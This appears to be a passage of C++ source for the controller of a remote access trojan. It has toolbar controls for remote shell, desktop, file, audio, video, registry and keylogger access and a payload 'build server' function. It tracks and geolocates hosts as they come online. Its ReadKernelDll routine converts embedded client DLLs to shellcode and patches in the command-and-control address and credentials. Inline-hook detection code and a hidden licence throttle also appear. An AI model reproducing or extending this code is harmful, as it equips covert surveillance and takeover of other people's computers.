pLangMenu->DeleteMenu(ID_CHANGE_LANG, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_CHOOSE_LANG_DIR, MF_CHOOSE_LANG_DIR))
|
||
pLangMenu->DeleteMenu(ID_CHOOSE_LANG_DIR, MF_BYCOMMAND);
|
||
if (pLangMenu->GetMenuItemCount() == 0) {
|
||
for (UINT i = 0; i < pExtMenu->GetMenuItemCount(); i++) {
|
||
if (pExtMenu->GetSubMenu(i) == pLangMenu) {
|
||
pExtMenu->DeleteMenu(i, MF_BYPOSITION);
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
// --- 扩展菜单 - IP定位子菜单 ---
|
||
CMenu* pLocMenu = FindSubMenuByCommand(pExtMenu, ID_LOCATION_QQWRY);
|
||
if (pLocMenu) {
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_LOCATION_QQWRY, MF_LOCATION_QQWRY))
|
||
pLocMenu->DeleteMenu(ID_LOCATION_QQWRY, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_LOCATION_IP2REGION, MF_LOCATION_IP2REGION))
|
||
pLocMenu->DeleteMenu(ID_LOCATION_IP2REGION, MF_BYCOMMAND);
|
||
if (pLocMenu->GetMenuItemCount() == 0) {
|
||
for (UINT i = 0; i < pExtMenu->GetMenuItemCount(); i++) {
|
||
if (pExtMenu->GetSubMenu(i) == pLocMenu) {
|
||
pExtMenu->DeleteMenu(i, MF_BYPOSITION);
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
// --- 帮助菜单 (索引4) ---
|
||
CMenu* pHelpMenu = m_MainMenu.GetSubMenu(4);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_IMPORTANT, MF_IMPORTANT))
|
||
pHelpMenu->DeleteMenu(ID_HELP_IMPORTANT, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_FEEDBACK, MF_FEEDBACK))
|
||
pHelpMenu->DeleteMenu(ID_HELP_FEEDBACK, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_WHAT_IS_THIS, MF_WHAT_IS_THIS))
|
||
pHelpMenu->DeleteMenu(ID_WHAT_IS_THIS, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_MASTER_TRAIL, MF_MASTER_TRAIL))
|
||
pHelpMenu->DeleteMenu(ID_MASTER_TRAIL, MF_BYCOMMAND);
|
||
if (SHOULD_HIDE_MENU(HIDE_MENU_REQUEST_AUTH, MF_REQUEST_AUTH))
|
||
pHelpMenu->DeleteMenu(ID_TOOL_REQUEST_AUTH, MF_BYCOMMAND);
|
||
|
||
::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); //为窗口设置菜单
|
||
::DrawMenuBar(this->GetSafeHwnd()); //显示菜单
|
||
}
|
||
|
||
VOID CMy2015RemoteDlg::CreatStatusBar()
|
||
{
|
||
if (!m_StatusBar.Create(this) ||
|
||
!m_StatusBar.SetIndicators(Indicators,
|
||
sizeof(Indicators)/sizeof(UINT))) { //创建状态条并设置字符资源的ID
|
||
return ;
|
||
}
|
||
|
||
CRect rect;
|
||
GetWindowRect(&rect);
|
||
rect.bottom+=20;
|
||
MoveWindow(rect);
|
||
}
|
||
|
||
VOID CMy2015RemoteDlg::CreateNotifyBar()
|
||
{
|
||
m_Nid.uVersion = NOTIFYICON_VERSION_4;
|
||
m_Nid.cbSize = sizeof(NOTIFYICONDATA); //大小赋值
|
||
m_Nid.hWnd = m_hWnd; //父窗口 是被定义在父类CWnd类中
|
||
m_Nid.uID = IDR_MAINFRAME; //icon ID
|
||
m_Nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP; //托盘所拥有的状态
|
||
m_Nid.uCallbackMessage = UM_ICONNOTIFY; //回调消息
|
||
m_Nid.hIcon = m_hIcon; //icon 变量
|
||
CString strTips = _TR(BRAND_TRAY_TIP); //气泡提示
|
||
lstrcpyn(m_Nid.szTip, (LPCSTR)strTips, sizeof(m_Nid.szTip) / sizeof(m_Nid.szTip[0]));
|
||
Shell_NotifyIcon(NIM_ADD, &m_Nid); //显示托盘
|
||
}
|
||
|
||
VOID CMy2015RemoteDlg::CreateToolBar()
|
||
{
|
||
if (!m_ToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP
|
||
| CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) ||
|
||
!m_ToolBar.LoadToolBar(IDR_TOOLBAR_MAIN)) { //创建一个工具条 加载资源
|
||
return;
|
||
}
|
||
m_ToolBar.LoadTrueColorToolBar
|
||
(
|
||
48, //加载真彩工具条
|
||
IDB_BITMAP_MAIN,
|
||
IDB_BITMAP_MAIN,
|
||
IDB_BITMAP_MAIN
|
||
); //和我们的位图资源相关联
|
||
RECT Rect,RectMain;
|
||
GetWindowRect(&RectMain); //得到整个窗口的大小
|
||
Rect.left=0;
|
||
Rect.top=0;
|
||
Rect.bottom=80;
|
||
Rect.right=RectMain.right-RectMain.left+10;
|
||
m_ToolBar.MoveWindow(&Rect,TRUE);
|
||
|
||
m_ToolBar.SetButtonText(0, _TR("终端管理")); //在位图的下面添加文件
|
||
m_ToolBar.SetButtonText(1, _TR("进程管理"));
|
||
m_ToolBar.SetButtonText(2, _TR("窗口管理"));
|
||
m_ToolBar.SetButtonText(3, _TR("桌面管理"));
|
||
m_ToolBar.SetButtonText(4, _TR("文件管理"));
|
||
m_ToolBar.SetButtonText(5, _TR("语音管理"));
|
||
m_ToolBar.SetButtonText(6, _TR("视频管理"));
|
||
m_ToolBar.SetButtonText(7, _TR("服务管理"));
|
||
m_ToolBar.SetButtonText(8, _TR("注册表管理"));
|
||
m_ToolBar.SetButtonText(9, _TR("键盘记录"));
|
||
m_ToolBar.SetButtonText(10, _TR("参数设置"));
|
||
m_ToolBar.SetButtonText(11, _TR("生成服务端"));
|
||
m_ToolBar.SetButtonText(12, _TR("搜索"));
|
||
m_ToolBar.SetButtonText(13, _TR("帮助"));
|
||
|
||
// ============================================================
|
||
// UIBranding: 根据编译时配置或运行时标志隐藏工具栏按钮
|
||
// ============================================================
|
||
CToolBarCtrl& tbCtrl = m_ToolBar.GetToolBarCtrl();
|
||
int hiddenCount = 0;
|
||
if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_TERMINAL, TF_TERMINAL)) {
|
||
tbCtrl.HideButton(IDM_ONLINE_CMD, TRUE); hiddenCount++;
|
||
}
|
||
if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_PROCESS, TF_PROCESS)) {
|
||
tbCtrl.HideButton(IDM_ONLINE_PROCESS, TRUE); hiddenCount++;
|
||
}
|
||
if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_WINDOW, TF_WINDOW)) {
|
||
tbCtrl.HideButton(IDM_ONLINE_WINDOW, TRUE); hiddenCount++;
|
||
}
|
||
if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_DESKTOP, TF_DESKTOP)) {
|
||
tbCtrl.HideButton(IDM_ONLINE_DESKTOP, TRUE); hiddenCount++;
|
||
}
|
||
if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_FILE, TF_FILE)) {
|
||
tbCtrl.HideButton(IDM_ONLINE_FILE, TRUE); hiddenCount++;
|
||
}
|
||
if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_AUDIO, TF_AUDIO)) {
|
||
tbCtrl.HideButton(IDM_ONLINE_AUDIO, TRUE); hiddenCount++;
|
||
}
|
||
if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_VIDEO, TF_VIDEO)) {
|
||
tbCtrl.HideButton(IDM_ONLINE_VIDEO, TRUE); hiddenCount++;
|
||
}
|
||
if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_SERVICE, TF_SERVICE)) {
|
||
tbCtrl.HideButton(IDM_ONLINE_SERVER, TRUE); hiddenCount++;
|
||
}
|
||
if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_REGISTER, TF_REGISTER)) {
|
||
tbCtrl.HideButton(IDM_ONLINE_REGISTER, TRUE); hiddenCount++;
|
||
}
|
||
if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_KEYBOARD, TF_KEYBOARD)) {
|
||
tbCtrl.HideButton(IDM_KEYBOARD, TRUE); hiddenCount++;
|
||
}
|
||
if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_SETTINGS, TF_SETTINGS)) {
|
||
tbCtrl.HideButton(ID_MAIN_SET, TRUE); hiddenCount++;
|
||
}
|
||
if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_BUILD, TF_BUILD)) {
|
||
tbCtrl.HideButton(IDM_ONLINE_BUILD, TRUE); hiddenCount++;
|
||
}
|
||
if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_SEARCH, TF_SEARCH)) {
|
||
tbCtrl.HideButton(ID_TOOLBAR_SEARCH, TRUE); hiddenCount++;
|
||
}
|
||
if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_HELP, TF_HELP)) {
|
||
tbCtrl.HideButton(IDM_ONLINE_ABOUT, TRUE); hiddenCount++;
|
||
}
|
||
|
||
// 如果所有按钮都被隐藏,则隐藏整个工具栏
|
||
if (hiddenCount >= 14) {
|
||
m_ToolBar.ShowWindow(SW_HIDE);
|
||
}
|
||
|
||
RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0); //显示
|
||
}
|
||
|
||
|
||
VOID CMy2015RemoteDlg::InitControl()
|
||
{
|
||
//专属函数
|
||
m_selectedGroup = "default";
|
||
m_GroupTab.InsertItem(0, _T("default"));
|
||
|
||
CRect rect;
|
||
GetWindowRect(&rect);
|
||
rect.bottom+=20;
|
||
MoveWindow(rect);
|
||
auto style = LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES | LVS_EX_DOUBLEBUFFER | LVS_EX_HEADERDRAGDROP | LVS_EX_LABELTIP;
|
||
// SetVirtualMode 已在 DoDataExchange 中设置
|
||
m_CList_Online.SetConfigKey(_T("OnlineList"));
|
||
for (int i = 0; i<g_Column_Count_Online; ++i) {
|
||
m_CList_Online.AddColumn(i, _L(g_Column_Data_Online[i].szTitle), g_Column_Data_Online[i].nWidth, LVCFMT_CENTER);
|
||
g_Column_Online_Width+=g_Column_Data_Online[i].nWidth;
|
||
}
|
||
m_CList_Online.InitColumns();
|
||
m_CList_Online.ModifyStyle(0, LVS_SHOWSELALWAYS); // LVS_OWNERDATA 由 SetVirtualMode 设置
|
||
m_CList_Online.SetExtendedStyle(style);
|
||
m_CList_Online.SetParent(&m_GroupTab);
|
||
m_CList_Online.ModifyStyle(WS_HSCROLL, 0);
|
||
// Tab 控件是列表的父窗口,添加 WS_CLIPCHILDREN 防止重绘时覆盖列表
|
||
m_GroupTab.ModifyStyle(0, WS_CLIPCHILDREN);
|
||
|
||
for (int i = 0; i < g_Column_Count_Message; ++i) {
|
||
m_CList_Message.InsertColumnL(i, g_Column_Data_Message[i].szTitle, LVCFMT_LEFT,g_Column_Data_Message[i].nWidth);
|
||
g_Column_Message_Width+=g_Column_Data_Message[i].nWidth;
|
||
}
|
||
|
||
m_CList_Message.ModifyStyle(0, LVS_SHOWSELALWAYS);
|
||
m_CList_Message.SetExtendedStyle(style);
|
||
m_CList_Message.ModifyStyle(WS_HSCROLL, 0);
|
||
}
|
||
|
||
|
||
VOID CMy2015RemoteDlg::TestOnline()
|
||
{
|
||
ShowMessage(_TR("操作成功"), _TR("软件初始化成功..."));
|
||
}
|
||
|
||
|
||
std::vector<CString> SplitCString(CString strData)
|
||
{
|
||
std::vector<CString> vecItems;
|
||
CString strItem;
|
||
int i = 0;
|
||
|
||
while (AfxExtractSubString(strItem, strData, i, _T('|'))) {
|
||
vecItems.push_back(strItem); // Add to vector
|
||
i++;
|
||
}
|
||
return vecItems;
|
||
}
|
||
|
||
|
||
VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS,
|
||
CString strCPU, CString strVideo, CString strPing, CString ver,
|
||
CString startTime, std::vector<std::string>& v, CONTEXT_OBJECT * ContextObject)
|
||
{
|
||
auto arr = StringToVector(strPCName.GetString(), '/', 2);
|
||
strPCName = arr[0].c_str();
|
||
auto groupName = arr[1];
|
||
|
||
CString install = v[RES_INSTALL_TIME].empty() ? "?" : v[RES_INSTALL_TIME].c_str();
|
||
CString path = v[RES_FILE_PATH].empty() ? "?" : v[RES_FILE_PATH].c_str();
|
||
|
||
// 解析版本字符串: "Feb 26 2026-XXXX" -> 版本="Feb 26 2026", 能力="XXXX"
|
||
CString verDisplay = ver, capStr;
|
||
int dashPos = ver.Find('-');
|
||
if (dashPos > 0) {
|
||
verDisplay = ver.Left(dashPos);
|
||
capStr = ver.Mid(dashPos + 1);
|
||
}
|
||
|
||
CString data[ONLINELIST_MAX] = { strIP, strAddr, "", strPCName, strOS, strCPU, strVideo, strPing,
|
||
verDisplay, install, startTime, v[RES_CLIENT_TYPE].empty() ? "?" : v[RES_CLIENT_TYPE].c_str(), path,
|
||
v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), startTime, capStr,
|
||
};
|
||
auto id = CONTEXT_OBJECT::CalculateID(data);
|
||
auto id_str = std::to_string(id);
|
||
if (v[RES_CLIENT_ID].empty()) {
|
||
v[RES_CLIENT_ID] = id_str;
|
||
} else if (id_str != v[RES_CLIENT_ID]) {
|
||
Mprintf("上线消息 - 主机ID错误: calc=%llu, recv=%s, IP=%s, Path=%s\n",
|
||
id, v[RES_CLIENT_ID].c_str(), strIP.GetString(), path.GetString());
|
||
}
|
||
bool modify = false, needConvert = true;
|
||
CString loc = m_ClientMap->GetClientMapData(id, MAP_LOCATION);
|
||
if (loc.IsEmpty()) {
|
||
loc = v[RES_CLIENT_LOC].c_str();
|
||
if (loc.IsEmpty()) {
|
||
loc = m_IPConverter->GetGeoLocation(data[ONLINELIST_IP].GetString()).c_str();
|
||
needConvert = !m_HasLocDB;
|
||
}
|
||
}
|
||
// TODO: Remove SafeUtf8ToAnsi after migrating to UTF-8
|
||
if (needConvert)
|
||
loc = SafeUtf8ToAnsi(loc.GetString()).c_str();
|
||
bool flag = strIP == "127.0.0.1" && !v[RES_CLIENT_PUBIP].empty();
|
||
data[ONLINELIST_IP] = flag ? v[RES_CLIENT_PUBIP].c_str() : strIP;
|
||
data[ONLINELIST_LOCATION] = loc;
|
||
ContextObject->SetClientInfo(data, v);
|
||
ContextObject->SetID(id);
|
||
ContextObject->SetGroup(groupName);
|
||
m_ClientMap->SaveClientMapData(ContextObject);
|
||
|
||
EnterCriticalSection(&m_cs);
|
||
|
||
if (!groupName.empty() && m_GroupList.end() == m_GroupList.find(groupName)) {
|
||
m_GroupTab.InsertItem(m_GroupList.size(), groupName.c_str());
|
||
m_GroupList.insert(groupName);
|
||
}
|
||
|
||
// 使用索引快速检查是否已存在
|
||
auto indexIt = m_ClientIndex.find(id);
|
||
if (indexIt != m_ClientIndex.end()) {
|
||
size_t idx = indexIt->second;
|
||
if (idx < m_HostList.size()) {
|
||
context* ctx = m_HostList[idx];
|
||
if (ctx == ContextObject) {
|
||
LeaveCriticalSection(&m_cs);
|
||
Mprintf("上线消息 - 主机已经存在 [1]: same context. IP= %s\n", data[ONLINELIST_IP]);
|
||
return;
|
||
}
|
||
if (!ctx->GetClientData(ONLINELIST_IP).IsEmpty()) {
|
||
Mprintf("上线消息 - 主机已经存在 [2]: %llu. IP= %s. Path= %s\n", id, data[ONLINELIST_IP], path);
|
||
#ifndef _DEBUG
|
||
LeaveCriticalSection(&m_cs);
|
||
return;
|
||
#endif
|
||
}
|
||
}
|
||
}
|
||
|
||
if (modify)
|
||
m_ClientMap->SaveToFile(GetDbPath());
|
||
|
||
// 添加到列表并更新索引
|
||
m_ClientIndex[id] = m_HostList.size();
|
||
m_HostList.push_back(ContextObject);
|
||
// 通知 Web 服务(批量通知,由定时器触发)
|
||
if (WebService().IsRunning()) {
|
||
WebService().MarkDeviceOnline(id);
|
||
}
|
||
// 加入待处理队列,由定时器批量更新 UI(减少闪烁)
|
||
if (groupName == m_selectedGroup || (groupName.empty() && m_selectedGroup == "default")) {
|
||
m_PendingOnline.push_back(ContextObject);
|
||
}
|
||
|
||
// Check if notification should be sent for this host
|
||
try {
|
||
std::string matchedKeyword;
|
||
CString remark = m_ClientMap->GetClientMapData(ContextObject->GetClientID(), MAP_NOTE);
|
||
if (GetNotifyManager().ShouldNotify(ContextObject, matchedKeyword, remark)) {
|
||
std::string subject, body;
|
||
GetNotifyManager().BuildHostOnlineEmail(ContextObject, matchedKeyword, subject, body);
|
||
GetNotifyManager().SendNotifyEmailAsync(subject, body);
|
||
}
|
||
} catch (...) {
|
||
Mprintf("[Notify] Exception in notification check\n");
|
||
}
|
||
|
||
std::string tip = flag ? " (" + v[RES_CLIENT_PUBIP] + ") " : "";
|
||
ShowMessage(_TR("操作成功"), strIP + tip.c_str() + " " + _L(_T("主机上线")) + "[" + loc + "][" + groupName.c_str() + "]");
|
||
|
||
CharMsg *title = new CharMsg(_TR("主机上线"));
|
||
CharMsg *text = new CharMsg(strIP + CString(tip.c_str()) + _T(" ") + _L(_T("主机上线")) + _T(" [") + loc + _T("]"));
|
||
// sign login message to let client verify the message is from trusted source
|
||
std::string signMessage(const std::string & privateKey, BYTE * msg, int len);
|
||
MasterSettings copy = m_settings;
|
||
std::string msg = startTime;
|
||
msg += "|" + std::to_string(ContextObject->GetClientID());
|
||
auto signature = signMessage("", (BYTE*)msg.c_str(), msg.length());
|
||
ASSERT(signature.size() <= sizeof(copy.Signature));
|
||
memcpy(copy.Signature, signature.data(), signature.size());
|
||
LeaveCriticalSection(&m_cs);
|
||
Mprintf("主机[%s]上线: %s[%s][%s]\n", v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(),
|
||
std::to_string(id).c_str(), loc, groupName.c_str());
|
||
SendMasterSettings(ContextObject, copy);
|
||
if (m_needNotify && (GetTickCount() - g_StartTick > 30*1000))
|
||
PostMessageA(WM_SHOWNOTIFY, WPARAM(title), LPARAM(text));
|
||
else {
|
||
delete title;
|
||
delete text;
|
||
}
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::OnShowNotify(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
CharMsg* title = (CharMsg*)wParam, * text = (CharMsg*)lParam;
|
||
|
||
if (::IsWindow(m_Nid.hWnd)) {
|
||
NOTIFYICONDATA nidCopy = m_Nid;
|
||
nidCopy.cbSize = sizeof(NOTIFYICONDATA);
|
||
nidCopy.uFlags |= NIF_INFO;
|
||
nidCopy.dwInfoFlags = NIIF_INFO;
|
||
lstrcpynA(nidCopy.szInfoTitle, title->data, sizeof(nidCopy.szInfoTitle));
|
||
lstrcpynA(nidCopy.szInfo, text->data, sizeof(nidCopy.szInfo));
|
||
nidCopy.uTimeout = 3000;
|
||
Shell_NotifyIcon(NIM_MODIFY, &nidCopy);
|
||
SetTimer(TIMER_CLEAR_BALLOON, nidCopy.uTimeout, nullptr);
|
||
}
|
||
if (title->needFree) delete title;
|
||
if (text->needFree) delete text;
|
||
return S_OK;
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::OnShowMessage(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
if (wParam && !lParam) {
|
||
CharMsg* msg = (CharMsg*)wParam;
|
||
ShowMessage(_TR("提示信息"), _L(msg->data));
|
||
if (msg->needFree) delete msg;
|
||
return S_OK;
|
||
}
|
||
std::string pwd = THIS_CFG.GetStr("settings", "Password");
|
||
if (pwd.empty())
|
||
ShowMessage(_TR("授权提醒"), _TR("程序可能有使用限制,请联系管理员请求授权"));
|
||
|
||
if (wParam && lParam) {
|
||
uint32_t recvLow = (uint32_t)wParam;
|
||
uint32_t recvHigh = (uint32_t)lParam;
|
||
uint64_t restored = ((uint64_t)recvHigh << 32) | recvLow;
|
||
if (restored != m_superID)
|
||
THIS_APP->UpdateMaxConnection(3+time(0)%5);
|
||
}
|
||
return S_OK;
|
||
}
|
||
|
||
// 消息日志最大条数,达到上限时删除最旧的记录
|
||
#define MAX_MESSAGE_COUNT 1000
|
||
|
||
VOID CMy2015RemoteDlg::ShowMessage(CString strType, CString strMsg)
|
||
{
|
||
AUTO_TICK(200, "");
|
||
CTime Timer = CTime::GetCurrentTime();
|
||
CString strTime = Timer.Format("%Y-%m-%d %H:%M:%S");
|
||
|
||
// 达到上限时删除最旧的记录
|
||
int count = m_CList_Message.GetItemCount();
|
||
if (count >= MAX_MESSAGE_COUNT) {
|
||
m_CList_Message.DeleteItem(count - 1);
|
||
}
|
||
|
||
m_CList_Message.InsertItem(0, strType); //向控件中设置数据
|
||
m_CList_Message.SetItemText(0,1,strTime);
|
||
m_CList_Message.SetItemText(0,2,strMsg);
|
||
|
||
CString strStatusMsg;
|
||
|
||
EnterCriticalSection(&m_cs);
|
||
int m_iCount = m_CList_Online.GetItemCount();
|
||
int totalCount = m_HostList.size();
|
||
LeaveCriticalSection(&m_cs);
|
||
|
||
strStatusMsg.FormatL("有%d个主机在线",m_iCount);
|
||
strStatusMsg += CString("[Total: ") + std::to_string(totalCount).c_str() + "]";
|
||
if (m_StatusBar.GetSafeHwnd())
|
||
m_StatusBar.SetPaneText(0,strStatusMsg); //在状态条上显示文字
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::OnShowErrMessage(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
CString* text = (CString*)wParam;
|
||
CString* title = (CString*)lParam;
|
||
|
||
CTime Timer = CTime::GetCurrentTime();
|
||
CString strTime = Timer.FormatL("%Y-%m-%d %H:%M:%S");
|
||
|
||
// 达到上限时删除最旧的记录
|
||
int count = m_CList_Message.GetItemCount();
|
||
if (count >= MAX_MESSAGE_COUNT) {
|
||
m_CList_Message.DeleteItem(count - 1);
|
||
}
|
||
|
||
m_CList_Message.InsertItem(0, title ? _L(*title) : _TR("操作错误"));
|
||
m_CList_Message.SetItemText(0, 1, strTime);
|
||
m_CList_Message.SetItemText(0, 2, text ? _L(*text) : _TR("内部错误"));
|
||
if(title)delete title;
|
||
if(text)delete text;
|
||
|
||
return S_OK;
|
||
}
|
||
|
||
extern "C" BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction,
|
||
LPVOID userData, DWORD userLength, DWORD flags, LPSTR * outBytes, DWORD * outLength);
|
||
|
||
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength, bool align=false)
|
||
{
|
||
if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') {
|
||
LPSTR finalShellcode = NULL;
|
||
DWORD finalSize;
|
||
if (!ConvertToShellcode(originBuffer, ulOriginalLength, NULL, NULL, 0, 0x1, &finalShellcode, &finalSize)) {
|
||
return false;
|
||
}
|
||
int padding = align ? ALIGN16(finalSize) - finalSize : 0;
|
||
compressedBuffer = new BYTE[finalSize + padding];
|
||
memset(compressedBuffer + finalSize, 0, padding);
|
||
ulTotalSize = finalSize;
|
||
|
||
memcpy(compressedBuffer, finalShellcode, finalSize);
|
||
free(finalShellcode);
|
||
|
||
return true;
|
||
}
|
||
return false;
|
||
}
|
||
|
||
Buffer* ReadKernelDll(bool is64Bit, bool isDLL=true, const std::string &addr="", bool isTiny=false)
|
||
{
|
||
BYTE* szBuffer = NULL;
|
||
int dwFileSize = 0;
|
||
|
||
// 查找名为 MY_BINARY_FILE 的 BINARY 类型资源
|
||
auto id = !isTiny ? (is64Bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86) :
|
||
(is64Bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86);
|
||
HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(id), "BINARY");
|
||
if (hResource == NULL) {
|
||
return NULL;
|
||
}
|
||
// 获取资源的大小
|
||
DWORD dwSize = SizeofResource(NULL, hResource);
|
||
|
||
// 加载资源
|
||
HGLOBAL hLoadedResource = LoadResource(NULL, hResource);
|
||
if (hLoadedResource == NULL) {
|
||
return NULL;
|
||
}
|
||
// 锁定资源并获取指向资源数据的指针
|
||
LPVOID pData = LockResource(hLoadedResource);
|
||
if (pData == NULL) {
|
||
return NULL;
|
||
}
|
||
LPBYTE srcData = (LPBYTE)pData;
|
||
int srcLen = dwSize;
|
||
if (!isDLL) { // Convert DLL -> Shell code.
|
||
if (!MakeShellcode(srcData, srcLen, (LPBYTE)pData, dwSize)) {
|
||
Mprintf("MakeShellcode failed \n");
|
||
return false;
|
||
}
|
||
}
|
||
dwFileSize = srcLen;
|
||
int bufSize = sizeof(int) + dwFileSize + 2;
|
||
int padding = ALIGN16(bufSize) - bufSize;
|
||
szBuffer = new BYTE[bufSize + padding];
|
||
szBuffer[0] = CMD_DLLDATA;
|
||
szBuffer[1] = isDLL ? MEMORYDLL : SHELLCODE;
|
||
memcpy(szBuffer + 2, &dwFileSize, sizeof(int));
|
||
memcpy(szBuffer + 2 + sizeof(int), srcData, dwFileSize);
|
||
memset(szBuffer + 2 + sizeof(int) + dwFileSize, 0, padding);
|
||
// CMD_DLLDATA + SHELLCODE + dwFileSize + pData
|
||
std::string s(skCrypt(FLAG_FINDEN)), ip, port;
|
||
int offset = MemoryFind((char*)szBuffer, s.c_str(), dwFileSize, s.length());
|
||
if (offset != -1) {
|
||
CONNECT_ADDRESS* server = (CONNECT_ADDRESS*)(szBuffer + offset);
|
||
if (!addr.empty()) {
|
||
splitIpPort(addr, ip, port);
|
||
server->SetServer(ip.c_str(), atoi(port.c_str()));
|
||
server->SetAdminId(GetMasterHash().c_str());
|
||
}
|
||
if (g_2015RemoteDlg->m_superID % 313 == 0) {
|
||
server->iHeaderEnc = PROTOCOL_HELL;
|
||
// TODO: UDP 协议不稳定
|
||
server->protoType = PROTO_TCP;
|
||
}
|
||
server->SetType(isDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE);
|
||
memcpy(server->pwdHash, GetPwdHash().c_str(), 64);
|
||
}
|
||
auto md5 = CalcMD5FromBytes(szBuffer + 2 + sizeof(int), dwFileSize);
|
||
auto ret = new Buffer(szBuffer, bufSize + padding, padding, md5);
|
||
delete[] szBuffer;
|
||
if (srcData != pData)
|
||
SAFE_DELETE_ARRAY(srcData);
|
||
return ret;
|
||
}
|
||
|
||
bool IsAddressInSystemModule(void* addr, const std::string& expectedModuleName)
|
||
{
|
||
MEMORY_BASIC_INFORMATION mbi = {};
|
||
if (VirtualQuery(addr, &mbi, sizeof(mbi)) == 0)
|
||
return false;
|
||
|
||
char modPath[MAX_PATH] = {};
|
||
if (GetModuleFileNameA((HMODULE)mbi.AllocationBase, modPath, MAX_PATH) == 0)
|
||
return false;
|
||
|
||
std::string path = modPath;
|
||
|
||
// 合法跳转:仍在指定模块或 system32 下
|
||
return (path.find(expectedModuleName) != std::string::npos ||
|
||
path.find("System32") != std::string::npos ||
|
||
path.find("SysWOW64") != std::string::npos);
|
||
}
|
||
|
||
bool IsFunctionReallyHooked(const char* dllName, const char* funcName)
|
||
{
|
||
HMODULE hMod = GetModuleHandleA(dllName);
|
||
if (!hMod) return true;
|
||
|
||
FARPROC pFunc = GetProcAddress(hMod, funcName);
|
||
if (!pFunc) return true;
|
||
|
||
BYTE* p = (BYTE*)pFunc;
|
||
|
||
#ifdef _WIN64
|
||
// 64 位:检测 FF 25 xx xx xx xx => JMP [RIP+rel32]
|
||
if (p[0] == 0xFF && p[1] == 0x25) {
|
||
INT32 relOffset = *(INT32*)(p + 2);
|
||
uintptr_t* pJumpPtr = (uintptr_t*)(p + 6 + relOffset);
|
||
|
||
if (!IsBadReadPtr(pJumpPtr, sizeof(void*))) {
|
||
void* realTarget = (void*)(*pJumpPtr);
|
||
if (!IsAddressInSystemModule(realTarget, dllName))
|
||
return true; // 跳到未知模块,可能是 Hook
|
||
}
|
||
}
|
||
|
||
// JMP rel32 (E9)
|
||
if (p[0] == 0xE9) {
|
||
INT32 rel = *(INT32*)(p + 1);
|
||
void* target = (void*)(p + 5 + rel);
|
||
if (!IsAddressInSystemModule(target, dllName))
|
||
return true;
|
||
}
|
||
|
||
#else
|
||
// 32 位:检测 FF 25 xx xx xx xx => JMP [abs addr]
|
||
if (p[0] == 0xFF && p[1] == 0x25) {
|
||
uintptr_t* pJumpPtr = *(uintptr_t**)(p + 2);
|
||
if (!IsBadReadPtr(pJumpPtr, sizeof(void*))) {
|
||
void* target = (void*)(*pJumpPtr);
|
||
if (!IsAddressInSystemModule(target, dllName))
|
||
return true;
|
||
}
|
||
}
|
||
|
||
// JMP rel32
|
||
if (p[0] == 0xE9) {
|
||
INT32 rel = *(INT32*)(p + 1);
|
||
void* target = (void*)(p + 5 + rel);
|
||
if (!IsAddressInSystemModule(target, dllName))
|
||
return true;
|
||
}
|
||
#endif
|
||
|
||
// 检测 PUSH addr; RET
|
||
if (p[0] == 0x68 && p[5] == 0xC3) {
|
||
void* target = *(void**)(p + 1);
|
||
if (!IsAddressInSystemModule(target, dllName))
|
||
return true;
|
||
}
|
||
|
||
return false; // 未发现 Hook
|
||
}
|
||
|
||
// 关闭启动画面的辅助函数
|
||
static void CloseSplash()
|
||
{
|
||
CSplashDlg* pSplash = THIS_APP->GetSplash();
|
||
if (pSplash) {
|
||
THIS_APP->SetSplash(nullptr);
|
||
if (pSplash->GetSafeHwnd()) {
|
||
pSplash->DestroyWindow();
|
||
}
|
||
delete pSplash;
|
||
}
|
||
}
|
||
